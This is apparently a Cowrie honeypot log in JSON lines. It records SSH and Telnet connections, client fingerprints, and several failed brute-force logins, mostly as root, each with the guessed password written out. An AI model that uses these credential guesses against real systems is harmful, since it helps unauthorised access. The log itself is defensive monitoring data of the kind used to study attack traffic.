{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":20576,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b3cc23b5115","protocol":"ssh","message":"New connection: 103.24.63.85:20576 (159.203.135.109:22) [session: 9b3cc23b5115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:59.451552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:59.456520Z","src_ip":"103.24.63.85","session":"9b3cc23b5115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:59.670730Z","src_ip":"103.24.63.85","session":"9b3cc23b5115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:00.794508Z","src_ip":"103.24.63.85","session":"9b3cc23b5115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60304,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3debcc59e8b","protocol":"telnet","message":"New connection: 192.119.13.58:60304 (10.17.0.5:23) [session: b3debcc59e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:01.135365Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33464,"dst_ip":"10.17.0.5","dst_port":23,"session":"16948559f548","protocol":"telnet","message":"New connection: 192.119.13.58:33464 (10.17.0.5:23) [session: 16948559f548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:01.683841Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:02.856131Z","src_ip":"103.24.63.85","session":"9b3cc23b5115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37674,"dst_ip":"10.17.0.5","dst_port":23,"session":"f418d61e3af0","protocol":"telnet","message":"New connection: 192.119.13.58:37674 (10.17.0.5:23) [session: f418d61e3af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:03.352950Z"}
{"eventid":"cowrie.session.closed","duration":37.62097978591919,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:04.902309Z","src_ip":"192.119.13.58","session":"d82f994967ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":54084,"dst_ip":"159.203.135.109","dst_port":22,"session":"39aab3a774b7","protocol":"ssh","message":"New connection: 103.15.222.183:54084 (159.203.135.109:22) [session: 39aab3a774b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:05.931600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:05.937925Z","src_ip":"103.15.222.183","session":"39aab3a774b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:06.180921Z","src_ip":"103.15.222.183","session":"39aab3a774b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.27098512649536,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:06.391649Z","src_ip":"192.119.13.58","session":"db20865b1752","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7777777","message":"login attempt [root/a7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:06.909965Z","src_ip":"103.15.222.183","session":"39aab3a774b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":51116,"dst_ip":"159.203.135.109","dst_port":22,"session":"184648e20143","protocol":"ssh","message":"New connection: 92.207.4.157:51116 (159.203.135.109:22) [session: 184648e20143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:07.192255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:07.197522Z","src_ip":"92.207.4.157","session":"184648e20143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:07.303319Z","src_ip":"92.207.4.157","session":"184648e20143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glass","message":"login attempt [root/glass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:07.764093Z","src_ip":"92.207.4.157","session":"184648e20143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:08.155559Z","src_ip":"103.15.222.183","session":"39aab3a774b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":60676,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f488b3cd2ed","protocol":"ssh","message":"New connection: 207.56.225.202:60676 (159.203.135.109:22) [session: 7f488b3cd2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:08.161107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:08.166705Z","src_ip":"207.56.225.202","session":"7f488b3cd2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:08.332447Z","src_ip":"207.56.225.202","session":"7f488b3cd2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:08.876220Z","src_ip":"92.207.4.157","session":"184648e20143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gns3","message":"login attempt [root/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:09.022161Z","src_ip":"207.56.225.202","session":"7f488b3cd2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:10.190655Z","src_ip":"207.56.225.202","session":"7f488b3cd2ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":53972,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ada37fa2477","protocol":"ssh","message":"New connection: 59.126.224.134:53972 (10.17.0.5:22) [session: 9ada37fa2477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:10.464910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:10.470024Z","src_ip":"59.126.224.134","session":"9ada37fa2477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:10.684454Z","src_ip":"59.126.224.134","session":"9ada37fa2477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lemon","message":"login attempt [root/lemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:11.570572Z","src_ip":"59.126.224.134","session":"9ada37fa2477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00260376930237,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:11.943732Z","src_ip":"152.42.224.71","session":"874ddc83e844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:12.785444Z","src_ip":"59.126.224.134","session":"9ada37fa2477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":21300,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c14b3572b3e","protocol":"ssh","message":"New connection: 165.154.23.26:21300 (159.203.135.109:22) [session: 1c14b3572b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:13.756435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:13.762052Z","src_ip":"165.154.23.26","session":"1c14b3572b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:13.970231Z","src_ip":"165.154.23.26","session":"1c14b3572b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:14.846913Z","src_ip":"165.154.23.26","session":"1c14b3572b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:16.068358Z","src_ip":"165.154.23.26","session":"1c14b3572b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.10361647605896,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:16.766006Z","src_ip":"192.119.13.58","session":"b34272135b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38012,"dst_ip":"159.203.135.109","dst_port":22,"session":"454c475a0d85","protocol":"ssh","message":"New connection: 37.143.61.84:38012 (159.203.135.109:22) [session: 454c475a0d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:17.881275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:17.886485Z","src_ip":"37.143.61.84","session":"454c475a0d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:17.974591Z","src_ip":"37.143.61.84","session":"454c475a0d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":22584,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a1608f74f8","protocol":"ssh","message":"New connection: 103.24.63.85:22584 (159.203.135.109:22) [session: 58a1608f74f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:18.276687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:18.282121Z","src_ip":"103.24.63.85","session":"58a1608f74f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"speed666","message":"login attempt [root/speed666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:18.412977Z","src_ip":"37.143.61.84","session":"454c475a0d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:18.473048Z","src_ip":"103.24.63.85","session":"58a1608f74f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47912,"dst_ip":"10.17.0.5","dst_port":23,"session":"498dcc8e2ebe","protocol":"telnet","message":"New connection: 192.119.13.58:47912 (10.17.0.5:23) [session: 498dcc8e2ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:19.048407Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:19.509138Z","src_ip":"37.143.61.84","session":"454c475a0d85","protocol":"ssh"}
